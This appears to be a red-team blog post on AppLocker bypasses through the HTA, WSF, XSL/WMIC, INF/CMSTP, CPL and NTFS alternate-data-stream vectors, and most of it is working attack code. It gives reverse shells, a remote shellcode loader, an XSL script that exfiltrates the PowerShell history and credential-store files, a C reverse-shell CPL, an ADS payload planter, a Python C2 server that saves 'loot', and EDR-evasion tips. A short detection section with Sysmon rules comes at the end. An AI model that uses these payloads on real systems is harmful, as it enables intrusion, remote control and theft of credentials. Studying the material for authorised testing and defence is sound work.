AppLocker Bypass — File Extension Blind Spots
Scope: Red team / authorized penetration testing. Techniques map to MITRE ATT&CK T1218.005 (Mshta), T1220 (XSL Script Processing), T1564.004 (ADS), T1218.011 (Rundll32/CPL), and T1218 (System Binary Proxy Execution).
Lab Setup
Recommended VM Stack
Host Machine
└── Hypervisor (VMware Workstation / VirtualBox / Hyper-V)
├── Windows 10/11 Enterprise (victim VM)
│ ├── AppLocker default rules enforced (Exe + Script rules)
│ ├── Windows Defender enabled + updated
│ ├── Sysmon (SwiftOnSecurity config)
│ ├── Wireshark (observe HTA/WMIC HTTP fetches)
│ ├── Sysinternals Process Monitor
│ └── PowerShell 5.1 + Script Block Logging
│
└── Kali Linux (attacker VM)
├── Python 3.10+ (multi-extension payload server)
├── mingw-w64 (compile CPL payloads)
└── netcat / rlwrapWindows VM Configuration
1# Verify AppLocker script rules are active
2# These SHOULD block .ps1, .vbs, .js from untrusted paths
3# but WON'T block .hta, .wsf, .xsl, .cpl
4
5# confirm mshta.exe exists and is signed
6$binaries = @(
7 "$env:WINDIR\System32\mshta.exe",
8 "$env:WINDIR\System32\wscript.exe",
9 "$env:WINDIR\System32\cscript.exe",
10 "$env:WINDIR\System32\wbem\wmic.exe",
11 "$env:WINDIR\System32\cmstp.exe",
12 "$env:WINDIR\System32\control.exe"
13)
14
15$binaries | ForEach-Object {
16 $sig = (Get-AuthenticodeSignature $_).Status
17 Write-Host "[$(if($sig -eq 'Valid'){'OK'}else{'!!'})] $(Split-Path $_ -Leaf) — $sig"
18} 1# Enable Process Creation auditing — catch mshta/wmic child processes
2AuditPol /set /subcategory:"Process Creation" /success:enable /failure:enable
3
4# Confirm WScript and CScript can run .wsf from temp (bypass test)
5$wsf = @'
6<?xml version="1.0"?>
7<job><script language="JScript">
8WScript.Echo("WSF executing — AppLocker Script Rules do NOT cover .wsf");
9</script></job>
10'@
11$wsf | Out-File "$env:TEMP\test_bypass.wsf"
12cscript //nologo "$env:TEMP\test_bypass.wsf"
13Remove-Item "$env:TEMP\test_bypass.wsf" -ForceAttacker VM Setup
# start multi-extension server (see c2_server.py in this blog)
mkdir payloads
python3 c2_server.py &
# reverse shell listener
rlwrap nc -lvnp 4444Snapshot
VM → Snapshot → "FILEEXT_BASELINE"AppLocker Extension Coverage Map
┌─────────────────────────────────────────────────────────────────────┐
│ APPLOCKER DEFAULT RULE COVERAGE │
├───────────────────────┬─────────────────────────────────────────────┤
│ ✓ COVERED │ ✗ NOT COVERED (bypass surface) │
├───────────────────────┼─────────────────────────────────────────────┤
│ .exe .com │ .hta ← mshta.exe (this blog §1) │
│ .ps1 .vbs │ .wsf ← wscript.exe (this blog §2) │
│ .js .cmd .bat │ .wsc ← wscript.exe │
│ .msi .msp .mst │ .xsl ← wmic.exe (this blog §3) │
│ .dll .ocx │ .inf ← cmstp.exe (this blog §4) │
│ (DLL rules off) │ .cpl ← control.exe (this blog §5) │
│ .appx │ .sct ← regsvr32.exe │
│ │ .url .lnk .gadget │
│ │ ADS ← any extension (this blog §6) │
└───────────────────────┴─────────────────────────────────────────────┘
AppLocker evaluates file extension + publisher at process launch.
Anything outside the left column is invisible to AppLocker policy.Execution Chain — Key Vectors
VECTOR 1: HTA (HTML Application)
─────────────────────────────────────────────────────────────────
mshta.exe payload.hta
│
│ AppLocker: ✓ mshta.exe signed Microsoft → ALLOW
│ AppLocker: never evaluates .hta content
│
▼
Internet Explorer engine parses HTA
│
▼
<script language="JScript"> runs
Full WScript.Shell access, no sandbox
│
└─► reverse shell / shellcode
VECTOR 3: XSL via WMIC
─────────────────────────────────────────────────────────────────
wmic.exe process get brief /format:"http://10.10.10.10/payload.xsl"
│
│ AppLocker: ✓ wmic.exe signed Microsoft → ALLOW
│
▼
wmic fetches XSL via WinHTTP
│
▼
MSXML parses <ms:script language="JScript">
│
▼
Script executes — no AppLocker evaluation of XSL
│
└─► command / reverse shell
VECTOR 6: NTFS Alternate Data Streams
─────────────────────────────────────────────────────────────────
legit.txt ← AppLocker evaluates THIS (primary stream)
legit.txt:payload.ps1 ← payload hidden in named stream
│
│ AppLocker sees: legit.txt (trusted path / not a script)
│ AppLocker BLIND: stream content
│
powershell -f legit.txt:payload.ps1
│
└─► payload executes, AppLocker never knewThe Blind Spot
AppLocker operates on rules. Rules target specific file types. And here’s the thing: AppLocker’s default ruleset only covers a handful of them:
| rule category | extensions covered |
|---|---|
| Executable Rules | .exe, .com |
| Script Rules | .ps1, .vbs, .js, .cmd, .bat |
| Windows Installer Rules | .msi, .msp, .mst |
| DLL Rules | .dll, .ocx (disabled by default) |
| Packaged App Rules | .appx |
That’s it. Windows recognizes dozens of other file types that can execute code, and AppLocker has never heard of most of them. Anything outside that list is evaluated against no rule, which in most configurations means it runs freely.
This post covers six independent extension-based bypass vectors, each with working payloads:
| vector | extension | binary abused | noise |
|---|---|---|---|
| HTML Application | .hta | mshta.exe | medium |
| Windows Script File | .wsf | wscript.exe / cscript.exe | low |
| XSL Stylesheet | .xsl | wmic.exe | low |
| Setup Info File | .inf | cmstp.exe | low |
| Control Panel Applet | .cpl | control.exe | low |
| NTFS Alternate Data Stream | (any) | any whitelisted binary | very low |
Vector 1 — HTA (HTML Application)
.hta files are full-trust HTML Applications executed by mshta.exe, a signed Microsoft binary. They can run JScript and VBScript with no browser sandbox, no zone restrictions, and full access to the Windows Scripting Host object model.
AppLocker Script Rules don’t cover .hta. mshta.exe is trusted. The payload runs.
PoC — calc pop
1<!-- calc.hta -->
2<html>
3<head>
4<script language="JScript">
5 var shell = new ActiveXObject("WScript.Shell");
6 shell.Run("calc.exe", 0, false);
7 window.close();
8</script>
9</head>
10<body></body>
11</html>mshta.exe calc.hta
mshta.exe http://10.10.10.10/calc.htaReverse shell — HTA with rolling XOR shellcode loader
Full reverse shell baked into a single .hta. The shellcode is XOR-encrypted (matching the rolling scheme from our runner) and fetched remotely, with no plaintext payload on wire.
1<!-- revshell.hta -->
2<!-- update: LHOST, LPORT, shellcode URL, XOR key -->
3<html>
4<head>
5<script language="JScript">
6
7// ── config ────────────────────────────────────────────────────────────────
8var C2_URL = "http://10.10.10.10/sc.bin"; // encrypted shellcode URL
9var XOR_KEY = 0x42; // rolling XOR base key
10
11// ── rolling XOR decrypt ───────────────────────────────────────────────────
12function xorDecrypt(bytes, key) {
13 var out = [];
14 for (var i = 0; i < bytes.length; i++)
15 out.push(bytes[i] ^ ((key + i) & 0xff));
16 return out;
17}
18
19// ── fetch encrypted shellcode ─────────────────────────────────────────────
20function fetchBytes(url) {
21 var xhr = new ActiveXObject("MSXML2.XMLHTTP");
22 xhr.open("GET", url, false);
23 xhr.setRequestHeader("Accept", "*/*");
24 xhr.send();
25 if (xhr.status !== 200) return null;
26
27 // responseBody is a VBArray of bytes
28 return (new VBArray(xhr.responseBody)).toArray();
29}
30
31// ── VirtualAlloc + CreateThread via WScript.Shell run ────────────────────
32// pure JScript can't call Win32 directly, so we generate a PS1 and run it
33function execShellcode(bytes) {
34 var hex = "";
35 for (var i = 0; i < bytes.length; i++) {
36 var b = bytes[i].toString(16);
37 hex += (b.length === 1 ? "0" : "") + b;
38 }
39
40 // PowerShell shellcode runner — inline, no file drop
41 var ps = "$b=[byte[]]@(" + bytes.join(",") + ");" +
42 "$m=[Runtime.InteropServices.Marshal];" +
43 "$p=[System.Runtime.InteropServices.DllImportAttribute];" +
44 "$va=([AppDomain]::CurrentDomain.GetAssemblies()|" +
45 "?{$_.GlobalAssemblyCache}|" +
46 "Select -First 1).GetType('Microsoft.Win32.UnsafeNativeMethods');" +
47 "$gpa=$va.GetMethod('GetProcAddress',[Reflection.BindingFlags]40,[Reflection.Binder]$null,[Type[]]@([IntPtr],[String]),[Reflection.ParameterModifier[]]$null);" +
48 "$k32=[Runtime.InteropServices.Marshal]::GetHINSTANCE(([AppDomain]::CurrentDomain.GetAssemblies()|?{$_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('kernel32.dll')}).Modules[0]);" +
49 "$va2=$m::GetDelegateForFunctionPointer($gpa.Invoke($null,[Object[]]@($k32,'VirtualAlloc')),[Action[IntPtr,UIntPtr,UInt32,UInt32]]);" +
50 "$mem=[System.Runtime.InteropServices.Marshal]::AllocHGlobal($b.Length);" +
51 "$m::Copy($b,0,$mem,$b.Length);" +
52 "$ct=[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(" +
53 " $gpa.Invoke($null,[Object[]]@($k32,'CreateThread')),"+
54 " [Func[IntPtr,UInt32,IntPtr,IntPtr,UInt32,IntPtr]]);" +
55 "$th=$ct.Invoke([IntPtr]::Zero,0,$mem,[IntPtr]::Zero,0,[IntPtr]::Zero);";
56
57 var shell = new ActiveXObject("WScript.Shell");
58 var b64ps = btoa(unescape(encodeURIComponent(ps))); // crude UTF-16 B64 — use helper below for production
59 shell.Run("powershell -nop -w hidden -ep bypass -EncodedCommand " + b64ps, 0, false);
60}
61
62// ── main ──────────────────────────────────────────────────────────────────
63var enc = fetchBytes(C2_URL);
64if (enc) {
65 var dec = xorDecrypt(enc, XOR_KEY);
66 execShellcode(dec);
67}
68
69window.close();
70
71</script>
72</head>
73<body></body>
74</html>Or — simpler PowerShell delegation (cleaner for most engagements):
1<!-- ps_delegate.hta — delegates everything to PowerShell, minimal HTA footprint -->
2<html>
3<head>
4<script language="JScript">
5 var host = "10.10.10.10";
6 var port = "4444";
7
8 var ps = "$c=New-Object Net.Sockets.TCPClient('" + host + "'," + port + ");" +
9 "$s=$c.GetStream();" +
10 "[byte[]]$b=0..65535|%{0};" +
11 "while(($i=$s.Read($b,0,$b.Length))-ne 0){" +
12 "$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);" +
13 "$r=(iex $d 2>&1|Out-String);" +
14 "$rb=[Text.Encoding]::ASCII.GetBytes($r+'PS '+(gl).Path+'> ');" +
15 "$s.Write($rb,0,$rb.Length);$s.Flush()}";
16
17 // UTF-16LE base64 for -EncodedCommand
18 var enc = "";
19 for (var i = 0; i < ps.length; i++)
20 enc += String.fromCharCode(ps.charCodeAt(i), 0);
21 var b64 = btoa(enc);
22
23 new ActiveXObject("WScript.Shell").Run(
24 "powershell -nop -w hidden -ep bypass -EncodedCommand " + b64, 0, false
25 );
26 window.close();
27</script>
28</head>
29<body></body>
30</html>:: local
mshta.exe ps_delegate.hta
:: remote — nothing touches disk
mshta.exe http://10.10.10.10/ps_delegate.hta
:: one-liner via run dialog or macro
mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run""mshta http://10.10.10.10/ps_delegate.hta"",0:close")Vector 2 — WSF (Windows Script File)
.wsf is a Windows Script File, an XML wrapper that lets you mix JScript and VBScript in one file, reference external script libraries, and define multiple jobs. It’s executed by wscript.exe and cscript.exe, both trusted binaries.
AppLocker Script Rules only target .vbs and .js individually. The .wsf container that wraps them is not covered.
Reverse shell via WSF
1<!-- revshell.wsf -->
2<?xml version="1.0"?>
3<job id="main">
4 <script language="JScript">
5 <![CDATA[
6
7 var LHOST = "10.10.10.10";
8 var LPORT = 4444;
9
10 // WScript.Shell for process spawning
11 var shell = new ActiveXObject("WScript.Shell");
12
13 // build UTF-16LE base64-encoded PowerShell reverse shell
14 var ps = "$c=New-Object Net.Sockets.TCPClient('" + LHOST + "'," + LPORT + ");" +
15 "$s=$c.GetStream();" +
16 "[byte[]]$b=0..65535|%{0};" +
17 "while(($i=$s.Read($b,0,$b.Length))-ne 0){" +
18 "$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);" +
19 "$r=(iex $d 2>&1|Out-String);" +
20 "$rb=[Text.Encoding]::ASCII.GetBytes($r+'PS '+(gl).Path+'> ');" +
21 "$s.Write($rb,0,$rb.Length);$s.Flush()}";
22
23 var encoded = "";
24 for (var i = 0; i < ps.length; i++)
25 encoded += String.fromCharCode(ps.charCodeAt(i), 0);
26
27 var b64 = btoa(encoded);
28 shell.Run("powershell -nop -w hidden -ep bypass -EncodedCommand " + b64, 0, false);
29
30 ]]>
31 </script>
32</job>:: visible console — good for testing
cscript //nologo revshell.wsf
:: silent — production
wscript //nologo revshell.wsf
:: remote
wscript //nologo \\10.10.10.10\share\revshell.wsfWSF with VBScript component (mixed engine)
1<!-- mixed.wsf — demonstrates multi-engine capability -->
2<?xml version="1.0"?>
3<job id="main">
4
5 <!-- VBScript helper: run a command and capture output -->
6 <script language="VBScript">
7 Function RunCmd(cmd)
8 Dim oShell, oExec, sOut
9 Set oShell = CreateObject("WScript.Shell")
10 Set oExec = oShell.Exec("cmd.exe /c " & cmd)
11 Do While oExec.Status = 0
12 WScript.Sleep 50
13 Loop
14 RunCmd = oExec.StdOut.ReadAll()
15 End Function
16 </script>
17
18 <!-- JScript main: call VBScript helper, send output to C2 -->
19 <script language="JScript">
20 <![CDATA[
21 var xhr = new ActiveXObject("MSXML2.XMLHTTP");
22 var out = RunCmd("whoami /all"); // calls VBScript function above
23
24 xhr.open("POST", "http://10.10.10.10/collect", false);
25 xhr.setRequestHeader("Content-Type", "text/plain");
26 xhr.send(out);
27 ]]>
28 </script>
29
30</job>Vector 3 — XSL via WMIC
wmic.exe has an undocumented /format: flag that accepts a URL to an XSL stylesheet. When it fetches the stylesheet, it processes the embedded JScript or VBScript transform, before AppLocker gets a look in.
wmic.exe is a signed Microsoft binary. XSL transforms are not in AppLocker’s ruleset. The code runs.
XSL reverse shell
1<!-- revshell.xsl -->
2<?xml version="1.0"?>
3<stylesheet version="1.0"
4 xmlns="http://www.w3.org/1999/XSL/Transform"
5 xmlns:ms="urn:schemas-microsoft-com:xslt"
6 xmlns:user="http://mycompany.com/mynamespace">
7
8 <output method="text"/>
9
10 <ms:script implements-prefix="user" language="JScript">
11 <![CDATA[
12
13 var LHOST = "10.10.10.10";
14 var LPORT = 4444;
15
16 var shell = new ActiveXObject("WScript.Shell");
17
18 var ps = "$c=New-Object Net.Sockets.TCPClient('" + LHOST + "'," + LPORT + ");" +
19 "$s=$c.GetStream();" +
20 "[byte[]]$b=0..65535|%{0};" +
21 "while(($i=$s.Read($b,0,$b.Length))-ne 0){" +
22 "$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);" +
23 "$r=(iex $d 2>&1|Out-String);" +
24 "$rb=[Text.Encoding]::ASCII.GetBytes($r+'PS '+(gl).Path+'> ');" +
25 "$s.Write($rb,0,$rb.Length);$s.Flush()}";
26
27 var enc = "";
28 for (var i = 0; i < ps.length; i++)
29 enc += String.fromCharCode(ps.charCodeAt(i), 0);
30
31 shell.Run("powershell -nop -w hidden -ep bypass -EncodedCommand " + btoa(enc), 0, false);
32
33 function Exec() { return "ok"; }
34
35 ]]>
36 </ms:script>
37
38 <template match="/">
39 <value-of select="user:Exec()"/>
40 </template>
41
42</stylesheet>:: remote — zero files on disk
wmic process get brief /format:"http://10.10.10.10/revshell.xsl"
:: local
wmic process get brief /format:"C:\Windows\Temp\revshell.xsl"
:: alternate trigger (any wmic class works, output is irrelevant)
wmic os get /format:"http://10.10.10.10/revshell.xsl"The WMIC output (process list / OS info) is just noise. Your script runs regardless. Redirect to
nulto suppress it:wmic ... >nul 2>&1
Data exfil via XSL (no outbound shell needed)
1<!-- exfil.xsl — grab files and POST to C2 without spawning any child process -->
2<?xml version="1.0"?>
3<stylesheet version="1.0"
4 xmlns="http://www.w3.org/1999/XSL/Transform"
5 xmlns:ms="urn:schemas-microsoft-com:xslt"
6 xmlns:user="http://mycompany.com/mynamespace">
7 <output method="text"/>
8 <ms:script implements-prefix="user" language="JScript">
9 <![CDATA[
10 function Exfil() {
11 var targets = [
12 "%USERPROFILE%\\Desktop",
13 "%APPDATA%\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt",
14 "%APPDATA%\\..\\Local\\Microsoft\\Credentials"
15 ];
16
17 var shell = new ActiveXObject("WScript.Shell");
18 var fso = new ActiveXObject("Scripting.FileSystemObject");
19 var xhr = new ActiveXObject("MSXML2.XMLHTTP");
20
21 for (var i = 0; i < targets.length; i++) {
22 var path = shell.ExpandEnvironmentStrings(targets[i]);
23 try {
24 var f = fso.OpenTextFile(path, 1);
25 var data = f.ReadAll();
26 f.Close();
27
28 xhr.open("POST", "http://10.10.10.10/collect", false);
29 xhr.setRequestHeader("X-Path", path);
30 xhr.send(data);
31 } catch(e) {}
32 }
33 return "done";
34 }
35 ]]>
36 </ms:script>
37 <template match="/">
38 <value-of select="user:Exfil()"/>
39 </template>
40</stylesheet>Vector 4 — INF via CMSTP
.inf Setup Information Files are processed by several Windows components. cmstp.exe, the Microsoft Connection Manager Profile Installer, accepts an INF file and executes code defined in its RunPreSetupCommandsSection. It is signed, trusted, and completely off AppLocker’s radar.
1; payload.inf — CMSTP AppLocker bypass
2; update: CommandLine value
3
4[version]
5Signature = $chicago$
6AdvancedINF = 2.5
7
8[DefaultInstall_SingleUser]
9UnRegisterOCXs = UnRegisterOCXSection
10RegisterOCXs = RegisterOCXSection
11RunPreSetupCommands = RunPreSetupCommandsSection
12
13[RegisterOCXSection]
14
15[UnRegisterOCXSection]
16
17[RunPreSetupCommandsSection]
18; this command executes with user privileges before setup completes
19powershell -nop -w hidden -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/shell.ps1')"
20REGSRV=NO
21
22[Strings]
23ServiceName = "VPN"
24ShortSvcName = "VPN":: /au: auto-install for current user (no UAC prompt)
:: /ni: non-interactive
cmstp.exe /ni /au payload.infCMSTP will flash a small dialog on first run unless
/niis provided. On some configurations the dialog is unavoidable, so time your execution accordingly or chain from a macro that can click through it viaSendKeys.
Vector 5 — CPL (Control Panel Applet)
Control Panel Applets are DLLs with a .cpl extension. control.exe and rundll32.exe load and execute them. AppLocker’s DLL rules are disabled by default. Even if enabled, a signed or path-whitelisted CPL will pass. An unsigned CPL in a user-writable path often runs freely.
CPL payload (C)
1/* payload_cpl.c
2 * Compile (cross or on target):
3 * x86_64-w64-mingw32-gcc -shared -o payload.cpl payload_cpl.c \
4 * -lws2_32 -mwindows -s -Wl,--build-id=none
5 */
6
7#define WIN32_LEAN_AND_MEAN
8#include <windows.h>
9#include <winsock2.h>
10#include <ws2tcpip.h>
11#include <cpl.h> /* CPlApplet signature */
12#include <stdio.h>
13
14#pragma comment(lib, "ws2_32.lib")
15
16#define LHOST "10.10.10.10"
17#define LPORT 4444
18
19/* forward declarations */
20static DWORD WINAPI shell_thread(LPVOID lpParam);
21static void reverse_shell(void);
22
23/* ── CPlApplet — required export for .cpl files ───────────────────────── */
24LONG APIENTRY CPlApplet(HWND hwnd, UINT uMsg, LPARAM lParam1, LPARAM lParam2) {
25 switch (uMsg) {
26 case CPL_INIT:
27 /* spawn shell on a background thread so the applet "loads" cleanly */
28 CreateThread(NULL, 0, shell_thread, NULL, 0, NULL);
29 return TRUE;
30
31 case CPL_GETCOUNT: return 1;
32 case CPL_INQUIRE: return 0;
33 case CPL_EXIT: return 0;
34 }
35 return 0;
36}
37
38/* ── DllMain — also fires on LoadLibrary, belt-and-suspenders ────────── */
39BOOL APIENTRY DllMain(HMODULE hMod, DWORD reason, LPVOID reserved) {
40 if (reason == DLL_PROCESS_ATTACH) {
41 DisableThreadLibraryCalls(hMod);
42 CreateThread(NULL, 0, shell_thread, NULL, 0, NULL);
43 }
44 return TRUE;
45}
46
47static DWORD WINAPI shell_thread(LPVOID p) {
48 (void)p;
49 reverse_shell();
50 return 0;
51}
52
53/* ── reverse shell ───────────────────────────────────────────────────── */
54static void reverse_shell(void) {
55 WSADATA wsa;
56 SOCKET sock;
57 struct sockaddr_in sa;
58 STARTUPINFOA si = {0};
59 PROCESS_INFORMATION pi = {0};
60 char cmd[] = "cmd.exe";
61
62 WSAStartup(MAKEWORD(2,2), &wsa);
63
64 sock = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP,
65 NULL, 0, WSA_FLAG_OVERLAPPED);
66 if (sock == INVALID_SOCKET) goto cleanup;
67
68 sa.sin_family = AF_INET;
69 sa.sin_port = htons(LPORT);
70 inet_pton(AF_INET, LHOST, &sa.sin_addr);
71
72 if (connect(sock, (SOCKADDR*)&sa, sizeof(sa)) != 0) goto cleanup;
73
74 /* pipe stdin/stdout/stderr through the socket */
75 si.cb = sizeof(si);
76 si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
77 si.wShowWindow = SW_HIDE;
78 si.hStdInput = (HANDLE)sock;
79 si.hStdOutput = (HANDLE)sock;
80 si.hStdError = (HANDLE)sock;
81
82 CreateProcessA(NULL, cmd, NULL, NULL, TRUE,
83 CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
84
85 WaitForSingleObject(pi.hProcess, INFINITE);
86 CloseHandle(pi.hProcess);
87 CloseHandle(pi.hThread);
88
89cleanup:
90 closesocket(sock);
91 WSACleanup();
92}:: via control.exe
control.exe payload.cpl
:: via rundll32 (more explicit — useful if control.exe is blocked)
rundll32.exe shell32.dll,Control_RunDLL payload.cpl
:: or just double-click — Windows associates .cpl with control.exe by defaultVector 6 — NTFS Alternate Data Streams (ADS)
NTFS supports multiple named data streams on a single file. The primary stream is what you normally read and write. Additional named streams are invisible to Explorer, dir, and most AV scanners, but the Windows script engines can execute them directly.
AppLocker evaluates the primary stream of a file. A script hidden in a named stream of a whitelisted file bypasses that evaluation entirely.
Hiding a payload in an ADS
:: create an innocuous text file (or use any existing whitelisted file)
echo this is definitely not malware > legit.txt
:: write your payload into a named stream on that file
type revshell.ps1 > legit.txt:payload.ps1
:: or echo directly
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/s.ps1') > legit.txt:s.ps1The file legit.txt looks empty to Explorer and dir. The payload is invisible without explicit tools.
Executing from ADS
1:: PowerShell — execute script from ADS
2powershell -nop -ep bypass -c "Get-Content legit.txt:payload.ps1 | IEX"
3
4:: or via the stream path directly (PS 3.0+)
5powershell -nop -ep bypass -f legit.txt:payload.ps1
6
7:: wscript / cscript — direct execution from stream
8wscript legit.txt:payload.js
9cscript //nologo legit.txt:payload.vbs
10
11:: mshta — HTA from an ADS
12mshta.exe legit.txt:payload.htaFull ADS workflow script
1# ads_deploy.ps1 — plant and execute payload via ADS
2# run this from any PowerShell session (e.g. via macro, existing foothold)
3
4param(
5 [string]$PayloadUrl = "http://10.10.10.10/revshell.ps1",
6 [string]$HostFile = "C:\Windows\Temp\svclog.txt", # whitelisted path
7 [string]$StreamName = "diag" # innocuous name
8)
9
10# create host file if it doesn't exist
11if (-not (Test-Path $HostFile)) {
12 Set-Content -Path $HostFile -Value "Windows Diagnostic Log $(Get-Date)"
13}
14
15# fetch and plant payload into named stream
16$bytes = (New-Object Net.WebClient).DownloadData($PayloadUrl)
17$stream = [IO.File]::Open("${HostFile}:${StreamName}", [IO.FileMode]::Create)
18$stream.Write($bytes, 0, $bytes.Length)
19$stream.Close()
20
21Write-Host "[+] planted ${HostFile}:${StreamName} ($(bytes.Length) bytes)"
22
23# execute from stream — no file on disk ever holds the raw payload path
24$cmd = "powershell -nop -ep bypass -w hidden -f `"${HostFile}:${StreamName}`""
25Start-Process powershell -ArgumentList "-nop -ep bypass -w hidden -c `"$cmd`"" -WindowStyle Hidden
26
27Write-Host "[*] executed"Verifying / inspecting ADS (defender perspective)
1:: list streams on a file
2dir /r legit.txt
3
4:: PowerShell
5Get-Item legit.txt -Stream *
6
7:: Sysinternals streams.exe
8streams.exe legit.txt
9
10:: remove all alternate streams
11streams.exe -d legit.txtPython C2 Server
Single server that handles all the above vectors. It serves HTA, WSF, XSL, PS1, and binary payloads with correct content types, and logs incoming connections and exfil POSTs:
1#!/usr/bin/env python3
2# c2_server.py — multi-extension payload server
3# place your payloads in ./payloads/
4
5from http.server import HTTPServer, BaseHTTPRequestHandler
6from datetime import datetime
7import os, sys
8
9PAYLOAD_DIR = "./payloads"
10PORT = 80
11
12CONTENT_TYPES = {
13 ".hta": "application/hta",
14 ".wsf": "text/plain",
15 ".xsl": "text/xml",
16 ".xml": "text/xml",
17 ".inf": "text/plain",
18 ".ps1": "text/plain",
19 ".bin": "application/octet-stream",
20 ".dll": "application/octet-stream",
21 ".cpl": "application/octet-stream",
22 ".txt": "text/plain",
23}
24
25def log(msg):
26 ts = datetime.now().strftime("%H:%M:%S")
27 print(f"[{ts}] {msg}")
28
29class Handler(BaseHTTPRequestHandler):
30
31 def do_GET(self):
32 path = os.path.join(PAYLOAD_DIR, self.path.lstrip("/"))
33
34 if not os.path.isfile(path):
35 log(f"404 {self.client_address[0]} {self.path}")
36 self.send_response(404)
37 self.end_headers()
38 return
39
40 _, ext = os.path.splitext(path)
41 ctype = CONTENT_TYPES.get(ext.lower(), "application/octet-stream")
42
43 with open(path, "rb") as f:
44 data = f.read()
45
46 log(f"GET {self.client_address[0]} {self.path} ({len(data)}b)")
47 self.send_response(200)
48 self.send_header("Content-Type", ctype)
49 self.send_header("Content-Length", str(len(data)))
50 self.send_header("Cache-Control", "no-cache")
51 self.end_headers()
52 self.wfile.write(data)
53
54 def do_POST(self):
55 length = int(self.headers.get("Content-Length", 0))
56 body = self.rfile.read(length) if length else b""
57 src = self.client_address[0]
58 xpath = self.headers.get("X-Path", "unknown")
59
60 log(f"POST {src} {self.path} X-Path={xpath} ({len(body)}b)")
61
62 # write exfil to disk
63 out_dir = f"./loot/{src}"
64 os.makedirs(out_dir, exist_ok=True)
65 out_file = os.path.join(out_dir, xpath.replace("\\", "_").replace(":", "").lstrip("_") or "data.bin")
66 with open(out_file, "wb") as f:
67 f.write(body)
68 log(f" saved → {out_file}")
69
70 self.send_response(200)
71 self.end_headers()
72 self.wfile.write(b"ok")
73
74 def log_message(self, fmt, *args):
75 pass # suppress default logging — we handle it ourselves
76
77if __name__ == "__main__":
78 os.makedirs(PAYLOAD_DIR, exist_ok=True)
79 os.makedirs("./loot", exist_ok=True)
80 log(f"listening on :{PORT} payloads={PAYLOAD_DIR}")
81 HTTPServer(("0.0.0.0", PORT), Handler).serve_forever()# layout
payloads/
calc.hta
revshell.hta
revshell.wsf
revshell.xsl
shell.ps1
sc.bin # encrypted shellcode
python3 c2_server.pyOpSec Notes
- HTA —
mshta.exemaking network connections is a known red flag in most EDR products. HTTPS delivery and a clean domain reduce noise. The process hierarchyexplorer.exe → mshta.exeis cleaner than spawning from Office macros. - WSF —
wscript.exeis quieter than PowerShell but Script Block Logging doesn’t apply, making it harder for defenders to reconstruct what ran. - WMIC + XSL —
wmic.exemaking outbound HTTP is unusual and will trigger on mature stacks. Prefer UNC/SMB delivery if the target has no internet egress monitoring. - CMSTP — known bypass, Defender has behavioral detections. Pair with AMSI bypass if you’re invoking PowerShell downstream.
- CPL — unsigned CPL loaded by
rundll32.exeis a Sysmon EID 7 event. Signing the DLL with any cert (even self-signed) changes the hash and often evades static signatures. - ADS — PowerShell executing from a stream path (
-f file.txt:stream) is detectable via Script Block Logging. The stream plant itself is invisible to most scanners but Sysmon can be configured to log ADS creation.
Detection (Blue Team)
| signal | event |
|---|---|
mshta.exe network connection | Sysmon EID 3 |
mshta.exe spawning powershell.exe / cmd.exe | Sysmon EID 1 — ParentImage |
wmic.exe with /format:http in cmdline | Sysmon EID 1 — CommandLine |
cmstp.exe executing commands from INF | Sysmon EID 1, Windows EID 4688 |
rundll32.exe loading .cpl from non-system path | Sysmon EID 7 — ImageLoad |
| File write to named stream (ADS) | Sysmon EID 15 — FileCreateStreamHash |
PowerShell -f with : in path (ADS execution) | EID 4104 — ScriptBlock |
Sysmon rules:
1<!-- WMIC XSL abuse -->
2<ProcessCreate onmatch="include">
3 <Image condition="is">C:\Windows\System32\wbem\WMIC.exe</Image>
4 <CommandLine condition="contains">/format:</CommandLine>
5</ProcessCreate>
6
7<!-- mshta network -->
8<NetworkConnect onmatch="include">
9 <Image condition="is">C:\Windows\System32\mshta.exe</Image>
10</NetworkConnect>
11
12<!-- CMSTP -->
13<ProcessCreate onmatch="include">
14 <Image condition="is">C:\Windows\System32\cmstp.exe</Image>
15</ProcessCreate>
16
17<!-- ADS creation -->
18<FileCreateStreamHash onmatch="include">
19 <TargetFilename condition="contains">:</TargetFilename>
20</FileCreateStreamHash>Mitigation: WDAC script enforcement covers more extension types than AppLocker. Blocking mshta.exe and wmic.exe at the network perimeter (outbound) cuts remote delivery for several vectors simultaneously. Sysmon EID 15 for ADS detection requires explicit configuration. It’s off by default.
MITRE ATT&CK
| technique | ID | vector |
|---|---|---|
| System Binary Proxy Execution: Mshta | T1218.005 | HTA |
| XSL Script Processing | T1220 | XSL/WMIC |
| System Binary Proxy Execution: CMSTP | T1218.003 | INF |
| System Binary Proxy Execution: Rundll32 | T1218.011 | CPL |
| NTFS Alternate Data Streams | T1564.004 | ADS |
| Command and Scripting: Windows Script Host | T1059.005 | WSF |
| Defense Evasion | TA0005 | all |
References
- MITRE ATT&CK T1218.005 — Mshta
- MITRE ATT&CK T1220 — XSL Script Processing
- MITRE ATT&CK T1564.004 — ADS
- LOLBAS — mshta
- LOLBAS — wmic
- LOLBAS — cmstp
- Casey Smith — WMIC XSL research
- Oddvar Moe — CMSTP research